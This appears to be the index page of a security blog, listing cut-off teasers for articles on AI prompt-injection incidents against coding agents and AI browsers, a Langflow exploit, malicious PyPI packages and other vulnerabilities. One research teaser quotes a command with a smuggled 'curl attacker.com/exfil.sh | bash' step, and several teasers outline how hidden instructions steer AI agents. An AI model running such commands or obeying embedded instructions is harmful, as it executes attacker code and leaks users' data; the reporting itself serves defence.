Expert perspectives on application security, compliance, and emerging threats
IncidentYour AI coding assistant just executed arbitrary commands on your workstation. No malware download. No phishing link. Just a malicious instruction hidden in code it was reviewing. This happened to Cur
IncidentWhat Happened Large language models (LLMs) often generate fake web domains when users request brand recommendations or technical documentation links. These hallucinated domains—plausible-sounding URLs
IncidentLayerX Security has demonstrated a new attack called BioShocking that targets AI browsers operating in autonomous agent mode. This attack uses indirect prompt injection, disguised as game instructions
IncidentCritical Vulnerabilities in Bower Security researchers have identified critical vulnerabilities in Bower, a web package manager, that allow attackers to write arbitrary files to the filesystem during
Get weekly security insights and compliance updates delivered to your inbox.
IncidentWhat Happened Between March 27 and April 15, 2026, attackers exploited CVE-2026-33017 , a critical remote code execution vulnerability in Langflow with a CVSS score of 9.3, to deploy Monero mining sof
IncidentIn October 2024, LayerX security researchers disclosed a prompt injection vulnerability named BioShocking. This attack tricks AI-powered browsers into executing malicious actions by framing them as pa
IncidentWhat Happened An AI agent leaked sensitive data by following instructions embedded in a malicious tool description. The agent operated within its parameters, without breaking rules or bypassing authen
IncidentUnderstanding the Vulnerability On January 16, 2019, a vulnerability in NumPy was reported, allowing arbitrary code execution through unsafe handling of pickled objects. This flaw affects NumPy versio
ResearchYour AI coding agent just suggested running git commit -am fix bug . Looks innocent. But what if the agent was compromised to suggest git commit -am fix bug ; curl attacker.com/exfil.sh | bash ? Resea
GeneralAmazon EKS operates hundreds of thousands of Kubernetes clusters across more than thirty AWS regions. Their recent architectural changes highlight which assumptions about Kubernetes management fail at
IncidentWhat Happened Researchers at Wake Forest University tested 444 iOS AI chatbot applications and found that 282 of them—63%—transmitted API keys in plaintext through network traffic. These keys granted
IncidentWhat Happened Attackers published at least eight malicious packages to the Python Package Index (PyPI), each pretending to be a legitimate fork of Pyrogram, a popular Python framework for building Tel
IncidentWhat Happened Mozilla s Zero Day Investigative Network (0DIN) documented an indirect prompt injection attack against Claude Code, an AI-powered coding assistant. A developer used the agent to interact
IncidentThe Growing Security Debt in AI Organizations rushing to deploy AI features are creating a security backlog they cannot manage. According to Cobalt s AI and Pentesting Pulse Report 2026, AI and LLM ap
GeneralIf you ve ever watched a junior pentester run Nmap without understanding what they re looking for, you ve seen the problem AI-driven security tools must solve. Automation without reasoning creates noi
IncidentThe Issue at Hand Between 2017 and 2018, ReDoS (Regular Expression Denial of Service) vulnerabilities in npm packages surged by 143%. This wasn t an isolated incident but a widespread issue across the
